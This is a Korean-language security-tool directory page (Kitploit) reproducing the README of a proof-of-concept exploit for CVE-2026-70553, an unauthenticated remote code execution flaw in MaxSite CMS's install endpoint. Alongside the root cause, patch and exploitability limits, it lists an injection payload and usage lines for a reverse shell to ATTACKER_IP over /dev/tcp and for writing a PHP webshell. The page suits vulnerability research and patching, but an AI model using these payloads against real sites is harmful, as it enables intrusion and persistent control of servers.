Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-70553-PoC — CVE-2026-70553에 대한 개념 증명 익스플로잇으로, install 엔드포인트를 통해 database.php에 영구적인 PHP 인젝션을 수행하여 MaxSite CMS에서 인증되지 않은 원격 코드 실행(RCE)을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/woshidashabi1126/cve-2026-70553-poc
Payload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubwoshidashabi1126/cve-2026-70553-poc

CVE-2026-70553-PoC

CVE-2026-70553에 대한 개념 증명 익스플로잇으로, install 엔드포인트를 통해 database.php에 영구적인 PHP 인젝션을 수행하여 MaxSite CMS에서 인증되지 않은 원격 코드 실행(RCE)을 가능하게 합니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
111개월 전아직 검토되지 않음

CVE-2026-70553 - MaxSite CMS 인증되지 않은 원격 코드 실행 (RCE)

CVE CVSS

CVE-2026-70553에 대한 개념 증명(PoC): 설치 엔드포인트를 통해 database.php에 지속적인 PHP 코드 주입을 수행하여 MaxSite CMS에서 인증되지 않은 원격 코드 실행(RCE)을 달성합니다.


면책 조항

이 PoC는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 작성자는 이 코드로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에서만 테스트하십시오.


취약점 개요

MaxSite CMS 105.2~109.5 버전은 설치 엔드포인트에 인증되지 않은 원격 코드 실행 치명적 취약점을 포함합니다. db_dbprefix 매개변수가 검증 없이 PHP 코드에 직접 연결되어, 공격자가 application/config/database.php에 임의의 PHP 문을 주입할 수 있습니다. 이 파일은 모든 요청에 포함되므로, 주입된 코드는 지속적인 RCE를 달성합니다.


영향을 받는 버전

  • MaxSite CMS 105.2 - 109.5
  • 수정 버전: 109.6 (2026-06-08)

기술적 세부 사항

근본 원인

install/installer/functions.php에서 newDatabase() 함수는 database.php 콘텐츠를 구성합니다:

root@kitploit:~
function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

익스플로잇 메커니즘

다음과 같은 페이로드를 주입하면:

root@kitploit:~
db_dbprefix=mso_'; system('id'); //

생성된 database.php는 다음과 같아집니다:

root@kitploit:~
$db['default']['dbprefix'] = 'mso_'; system('id'); //';

이로써 문자열 리터럴을 벗어나 임의의 PHP 코드가 주입됩니다.

패치 (109.6)

이 수정은 재설치를 방지하기 위한 검사를 추가했습니다:

root@kitploit:~
if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

사용 방법

설치

root@kitploit:~
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

기본 사용법

root@kitploit:~
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

옵션

root@kitploit:~
--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

익스플로잇 제약 조건

중요: 이 취약점은 실제 환경에서 심각한 실질적 제약이 있습니다.

요구 사항

  1. 설치 엔드포인트에 접근 가능해야 함 (/install/ 디렉터리가 제거되지 않아야 함)
  2. 데이터베이스 테이블이 아직 존재하지 않아야 함 (새 설치 또는 데이터베이스 초기화 상태)
    • newDatabase() 함수는 테이블이 없을 때만 호출됩니다
    • 이는 install/installer/post.php에서 checkTableExists()를 통해 확인됩니다

대부분의 사이트가 취약하지 않은 이유

  • 운영 사이트는 설치를 완료한 상태 → 테이블이 존재 → newDatabase()가 호출되지 않음
  • /install/에 접근 가능하더라도, 테이블 존재 확인으로 인해 주입 경로가 차단됨
  • 대규모 스캔 결과 약 24%의 사이트만 설치 엔드포인트에 접근 가능했으며, 기존 데이터베이스 테이블로 인해 **실제로 익스플로잇 가능한 사이트는 0%**였습니다

실제 환경에서의 익스플로잇 가능성

  • 이론적: 치명적 (CVSS 9.8)
  • 실질적: 매우 낮음
  • 현실적인 공격 대상 특성:
    • 설치가 중간에 중단된 경우
    • 데이터베이스가 수동으로 삭제되었지만 코드는 남아 있는 경우
    • 새로 생성된 테스트/개발 인스턴스 (운영 환경 아님)

로컬 재현

통제된 환경에서 이 취약점을 검증하려면:

취약한 환경 구성

root@kitploit:~
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

주입 확인

root@kitploit:~
# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt

참고 자료

  • CVE-2026-70553 - CVE 레코드
  • NVD 항목
  • VulnCheck 권고
  • MaxSite CMS GitHub
  • 패치 커밋 (109.6)

타임라인

  • 2026-06-08: MaxSite CMS 109.6 출시 (수정 포함)
  • 2026-08-04: CVE-2026-70553 공개
  • 2026-08-06: PoC 공개

크레딧

  • 발견: Amir Aliu & Enrik Mustafa (VulnCheck)
  • PoC 개발: 보안 연구원
  • 공급업체: MaxSite CMS 팀

라이선스

이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE를 참조하십시오.


기억하세요: 항상 책임 있는 공개(responsible disclosure)를 실천하고 테스트 전에 적절한 승인을 받으십시오.

도구 다운로드